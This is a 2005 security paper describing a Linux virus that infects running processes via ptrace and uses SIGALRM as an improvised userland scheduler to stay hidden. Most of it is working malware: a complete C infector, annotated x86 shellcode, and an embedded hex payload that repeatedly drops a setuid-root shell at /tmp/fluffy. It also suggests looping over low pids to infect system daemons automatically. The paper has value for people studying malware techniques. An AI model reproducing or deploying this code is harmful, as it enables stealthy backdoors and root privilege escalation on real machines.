Linux Improvised Userland Scheduler Virus

Izik
izik@tty64.org

Last modified: 12/29/2005

Contents

Chapter 1

Introduction

This paper discusses the combination of a userland scheduler and runtime process infection for a virus. These two concepts complete each other. The runtime process infection opens the door to invading into other processes, and the userland scheduler provides a way to make the injected code coexist with the original process code. This allows the virus to remain stealthy and active inside an infected process.

Chapter 2

Scheduler, Who?

A scheduler, in particular a process scheduler is a kernel component that selects which process to run next. The scheduler is the basis of a multitasking operating system such as Linux. By deciding what process can run, the scheduler is responsible for utilizing the system the best way and giving the impression that multiple processes are simultaneously executing. A good example of using the scheduler in a virus, is when the `fork()` syscall is used to spawn a child process for the virus to run in. But `fork()` puts the child process out, thus it appears in the system process list and could attract attention.

Chapter 3

Userland Scheduler

A userland scheduler, as opposed to the kernel scheduler, runs inside an application scope and deals with the application threads and processes. The userland scheduler is still subject to the kernel scheduler and meant to improve the application multi-threads management. One of the major tasks that the scheduler performs is context switching. Taking airtime from one thread to another. Improvising a userland scheduler inside an infected process will give the option of switching from the original process to the virus and back, without attracting too much attention on the way.

Chapter 4

Improvising A Userland Scheduler

An application that does implement a userland scheduler in it, provides the functions and support to do so in the code. This is a privilege that a virus could not easily implement smoothly. So improvising takes places. This raises two major problems: how and when. How to perform the context switching task within a code that has no previous support, and when the userland scheduler code can run to begin supervising this in the first place.

There are a few ways to do it. For example putting a hook on a function is one way. Once the program will call the function that has been hooked, the virus will activate and afterwards return control to the program. But it's not an ideal solution as there is no guarantee that the program will continue using it, and for how often or long. In order to get a wider scope that could cover the entire program, signals could be used.

Looking at the signal mechanism in Linux, it's similar to the interrupts mechanism, in the way that that the kernel allows a program to process a signal within any place in the program code without any special preparation and resume back to the program flow once the signal handler function is done. It gives a very good way to perform context switching with little effort. This answers the "how" question, in how to perform the context switching task, using the signal handler function as the base function of the virus which will be invoked while the `SIGALRM` signal will be processed.

Adopting the signal model to our needs is supported by the `alarm()` syscall. The `alarm()` syscall allows the process to schedule the alarm signal (`SIGALRM`) to be delivered, thus making it kernel responsibility. Having the kernel constantly delivering a signal to the process hosting the virus, saves the virus the effort of

doing it. This answers the when question for when the userland scheduler code would run. Using the `alarm()` syscall to schedule a `SIGALRM` to be delivered to the process, that in turn will call the virus function. This code demonstrates the functionality of `alarm()` and `SIGALRM`:

```
/*
* sigalrm-poc.c, SIGALRM Proof of Concept
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

// SIGALRM Handler

void shapebreaker(int ignored) {

        // Break the cycle

        printf("\nX\n");

        // Schedule another one

        alarm(5);

        return ;
}

int main(int argc, char **argv) {

        int shape_selector = 0;
        char shape;

        // Register for SIGALRM

        if (signal(SIGALRM, shapebreaker) < 0) {
                perror("signal");
                return -1;
        }

        // Schedule SIGALRM for 5 secs

        alarm(5);

        while(1) {

                // Shape selector

                switch (shape_selector % 2) {

                        case 0:
                                shape = '.';
                                break;

                        case 1:
```

```
                                shape = 'o';
                                break;

                        case 2:
                                shape = 'O';
                                break;
                }

                // Print given shape

                printf("%c\r", shape);

                // Incerase shape index

                shape_selector++;

        }

        // NEVER REACHED

        return 1;
}
```

The program concept is pretty simple, it prints a char from a loop, selecting the char via an index variable. Every five seconds or so, a `SIGALRM` is being scheduled to be delivered using the `alarm()` syscall. Once the signal has been processed the signal handler, which is the `shapebreaker()` function in this case, is being called and is breaking the char sequence. Afterwards the program continues as if nothing happened. From within the signal handler function, a virus can operate and once it returns, the program will continue flawlessly.

Chapter 5

Runtime Process Infection

Runtime infection is done using the notorious `ptrace()` syscall, which allows a process to attach to another process, assuming of course, that it has root privileges or has a father-child relationship with some exceptions to it. Once the attached process gets into debugging mode, it is possible to modify its registers and write/read from its address space. These are features that are required to slip in the virus code and activate it. For an in-depth review of the `ptrace()` injection method, refer to the "Building ptrace Injecting Shellcodes" article in Phrack 59[1].

5.1 The Algorithm

Having the motives, tools and knowledge, here's the plan:

```
Infector:
---------

* Attach to process
> Wait for process to stop
    > Query process registers
    > Calculate previous stack page beginning
    > Store current EIP
    > Inject pre-virus and virus code
    > Set EIP to pre-virus code
    > Deattach from process

Pre-Virus:
```

```
----------

    * Register SIGALRM signal
> Schedule SIGALRM (14secs)
> Give control back to process

Virus:
------

* SIGALRM handler invoked
> Check for /tmp/fluffy
    > Create fluffy.c
    > Compile fluffy.c
    > Remove /tmp/fluffy.c
    > Chmod /tmp/fluffy
> Jmp to pre-virus code
```

The infecting process is divided into two steps, the infector injects the virus and the pre-virus code to the infected process. Afterward it sets the process `EIP` to point to the pre-virus code. This independently registers to the `SIGALRM` signal within the infected process and calculates the virus location for the signal callback function. Then it schedules a `SIGALRM` signal and passes the control back to the process. Once the signal caught the virus it kicks in as the signal handler.

5.2 Meet Fluffy

A code that implements the above theory

```
    /*
    * x86-fluffy-virus.c, Fluffy virus / izik@tty64.org
    */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h
#include <linux/ptrace.h>

char virus_shcode[] =

// <_start>:
```

```
    "\x90"            // nop
    "\x90"            // nop
    "\x60"                // pusha
    "\x9c"                // pushf
    "\x31\xc0"            // xor    %eax,%eax
    "\x31\xdb"            // xor    %ebx,%ebx
    "\xb0\x30"            // mov    $0x30,%al
    "\xb3\x0e"            // mov    $0xe,%bl
    "\xeb\x06"        // jmp    <_geteip>

// <_calc_eip>:

    "\x59"                // pop    %ecx
    "\x83\xc1\x0d"        // add    $0xd,%ecx
    "\xeb\x05"            // jmp    <_continue>

// <_geteip>:

    "\xe8\xf5\xff\xff\xff" // call   <_calc_eip>

// <_continue>:

    "\xcd\x80"            // int    $0x80
    "\x85\xc0"            // test   %eax,%eax
    "\x75\x04"            // jne    <_resumeflow>
    "\xb0\x1b"            // mov    $0x1b,%al
    "\xcd\x80"            // int    $0x80

// <_resumeflow>:

    "\x9d"                // popf
    "\x61"                // popa
    "\xc3"                // ret

// <_virus>:

    "\x55"                // push   %ebp
    "\x89\xe5"        // mov    %esp,%ebp
    "\x31\xc0"        // xor    %eax,%eax
    "\x31\xc9"            // xor    %ecx,%ecx
    "\xeb\x57"            // jmp    <_data_jmp>

// <_chkforfluffy>:

    "\x5e"                // pop    %esi

// <_fixnulls>:

    "\x3a\x46\x07"        // cmp    0x7(%esi),%al
    "\x74\x0b"            // je     <_access>
    "\xfe\x46\x07"        // incb   0x7(%esi)
    "\xfe\x46\x0a"        // incb   0xa(%esi)
    "\xb0\xb3"            // mov    $0xb3,%al
    "\xfe\x04\x06"        // incb   (%esi,%eax,1)

// <_access>:
```

```
    "\xb0\xa8"             // mov    $0xa8,%al
    "\x8d\x1c\x06"         // lea    (%esi,%eax,1),%ebx
    "\xb0\x21"             // mov    $0x21,%al
    "\xb1\x04"             // mov    $0x4,%cl
    "\xcd\x80"             // int    $0x80
    "\x85\xc0"             // test   %eax,%eax
    "\x74\x31"             // je     <_schedule>

// <_fork>:

    "\x01\xc8"             // add    %ecx,%eax
    "\xcd\x80"             // int    $0x80
    "\x85\xc0"             // test   %eax,%eax
    "\x75\x1f"             // jne    <_waitpid>

// <_exec>:

    "\x31\xd2"             // xor    %edx,%edx
    "\xb0\x17"             // mov    $0x17,%al
    "\x31\xdb"             // xor    %ebx,%ebx
    "\xcd\x80"             // int    $0x80
    "\xb0\x0b"             // mov    $0xb,%al
    "\x89\xf3"             // mov    %esi,%ebx
    "\x52"                 // push   %edx
    "\x8d\x7e\x0b"         // lea    0xb(%esi),%edi
    "\x57"                 // push   %edi
    "\x8d\x7e\x08"         // lea    0x8(%esi),%edi
    "\x57"                 // push   %edi
    "\x56"                 // push   %esi
    "\x89\xe1"             // mov    %esp,%ecx
    "\xcd\x80"             // int    $0x80
    "\x31\xc0"             // xor    %eax,%eax
    "\x40"                 // inc    %eax
    "\xcd\x80"             // int    $0x80

// <_waitpid>:

    "\x89\xc3"         // mov    %eax,%ebx
    "\x31\xc0"             // xor    %eax,%eax
    "\x31\xc9"             // xor    %ecx,%ecx
    "\xb0\x07"             // mov    $0x7,%al
    "\xcd\x80"             // int    $0x80

// <_schedule>:

    "\xc9"                 // leave
    "\xe9\x7c\xff\xff\xff" // jmp    <_start>

// <_data_jmp>:

    "\xe8\xa4\xff\xff\xff" // call   <_chkforfluffy>

//
// /bin/sh\xff-c\xff
// echo "int main() { setreuid(0, 0); system(\"/bin/bash\"); return 1; }" > /tmp/fluffy.c ;
// cc -o /tmp/fluffy /tmp/fluffy.c ;
// rm -rf /tmp/fluffy.c ;
```

```
// chmod 4755 /tmp/fluffy\xff
//

// <_data_sct>:

    "\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x65\x63\x68\x6f\x20"
        "\x22\x69\x6e\x74\x20\x6d\x61\x69\x6e\x28\x29\x20\x7b\x20\x73\x65"
        "\x74\x72\x65\x75\x69\x64\x28\x30\x2c\x20\x30\x29\x3b\x20\x73\x79"
        "\x73\x74\x65\x6d\x28\x5c\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68"
        "\x5c\x22\x29\x3b\x20\x72\x65\x74\x75\x72\x6e\x20\x31\x3b\x20\x7d"
        "\x22\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75\x66\x66\x79\x2e"
        "\x63\x20\x3b\x20\x63\x63\x20\x2d\x6f\x20\x2f\x74\x6d\x70\x2f\x66"
        "\x6c\x75\x66\x66\x79\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75\x66\x66"
        "\x79\x2e\x63\x20\x3b\x20\x72\x6d\x20\x2d\x72\x66\x20\x2f\x74\x6d"
        "\x70\x2f\x66\x6c\x75\x66\x66\x79\x2e\x63\x20\x3b\x20\x63\x68\x6d"
        "\x6f\x64\x20\x34\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75"
        "\x66\x66\x79\xff";

int ptrace_inject(pid_t, long, void *, int);

int main(int argc, char **argv) {

    pid_t pid;
    struct user_regs_struct regs;
    long infproc_addr;

    if (argc < 2) {
        printf("usage: %s <pid>\n", argv[0]);
        return -1;
    }

    pid = atoi(argv[1]);

    // Attach to the process

    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
        perror(argv[1]);
        return -1;
    }

    // Wait for a process to stop

    if (waitpid(pid, NULL, 0) < 0) {
        perror(argv[1]);
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        return -1;
    }

    // Query process registers

    if (ptrace(PTRACE_GETREGS, pid, &regs, &regs) < 0) {
        perror("Oopsie");
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        return -1;
    }

    printf("Original ESP: 0x%.8lx\n", regs.esp);
```

```
    printf("Original EIP: 0x%.8lx\n", regs.eip);

    // Push original EIP on stack for virus to RET

    regs.esp -= 4;

    ptrace(PTRACE_POKETEXT, pid, regs.esp, regs.eip);

    // Calculate the previous stack page top address

    infproc_addr = (regs.esp & 0xFFFFF000) - 0x1000;

    printf("Injection Base: 0x%.8lx\n", infproc_addr);

    // Inject virus code

        if (ptrace_inject(pid, infproc_addr, virus_shcode, sizeof(virus_shcode) - 1) < 0) {
                return -1;
        }

    // Change EIP to point over virus shcode

    regs.eip = infproc_addr + 2;

    printf("Current EIP: 0x%.8lx\n", regs.eip);

    // Set process registers (EIP changed)

        if (ptrace(PTRACE_SETREGS, pid, &regs, &regs) < 0) {
                perror("Oopsie");
                ptrace(PTRACE_DETACH, pid, NULL, NULL);
                return -1;
        }

    // It's fluffy time!

    if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
        perror("Oopsie");
        return -1;
    }

    printf("pid #%d got infected!\n", pid);

    return 1;
}

// Injection Function

int ptrace_inject(pid_t pid, long memaddr, void *buf, int buflen) {
        long data;

    while (buflen > 0) {

                memcpy(&data, buf, 4);

                if ( ptrace(PTRACE_POKETEXT, pid, memaddr, data) < 0 ) {
                        perror("Oopsie!");
```

```
                        ptrace(PTRACE_DETACH, pid, NULL, NULL);
                        return -1;
                }

                memaddr += 4;
                buf += 4;
        buflen -= 4;
        }

        return 1;
}
```

A few pointers about the code:

1. The virus assembly parts were written as one chunk, the pre-virus code is located in the top and the virus code in the bottom. It is also written in shellcode programming style, which produces a NULL free and somewhat optimized code. As this chunk has been injected into the infected process, it keeps the virus as small as possible, which always is a good idea.
2. The virus code assumes it will run more than once inside a given infected process. This means that self modifying code actions such as fixing NULLs in runtime, first checks if it is needed in the current virus iteration.
3. The virus itself is programmed to drop a suid shell called `/tmp/fluffy`. Before doing so, it will check if the file exists, and if that is not the case, it will `execve()` a small hardcoded shell script to generate a suid wrapper. Iteration occurs every 14 secs.
4. The `signal()` syscall has a habit of restarting the signal handler to default after it has been called. This means the virus has to re-register to the signal every time. An alternative solution is to setup the signal handler using other signal related syscalls such as `sigaction()` or `rt_sigaction()` which is how the libc `signal()` function is implemented. Choosing `signal()` over these syscalls was based on size related issues.

5.3 Further Design Issues

Aside of what concerns the code itself:

Injecting to the previous stack page top address is a safety move to assure the virus code won't overwrite any program related data on the stack. Testing the virus on the syslogd daemon showed that this make sense, as the syslogd at some point managed to partly overwrite the virus code. A common pitfall is NULLs,

as two NULLs overwrite (e.g. `\x00\x00`) creates a valid assembly instruction `ADD %AL,(%EAX)` which easily leads to a crash.

Apart from the stack it is possible to inject the code to the .text section itself. As on x86—IA32, pages are 4k aligned and the program code itself might not fill up the entire page. The gap created often is referred to as "cave", and it is an ideal place to park the virus assuming of course the virus is small enough to get into it. But due to nature of the `.text` section, which is not writable, the virus will require to issue `mprotect()` on the current page to perform self modifying actions on itself.

An easy way to find a suitable process to infect using an automatic approach, would be to start an attachment loop starting from the pid zero and onward. As the system boots and enters init 3 (e.g. multiuser) a series of daemons are being launched. Due to the timing of these daemons, their pids would be closer to zero, an example for such would be crond, syslogd and inetd.

Chapter 6

Conclusion

Implementation of a userland scheduler code allows to run an external code in a perfect harmony with the existing code. Taking an exploit scenario from any kind and adding this feature to it, can turn a normal straight forward shellcode to a backdoor and more.

Bibliography

[1] Building ptrace Injecting Shellcodes
anonymous
http://www.phrack.org/show.php?p=59&a=12; accessed December 29, 2005.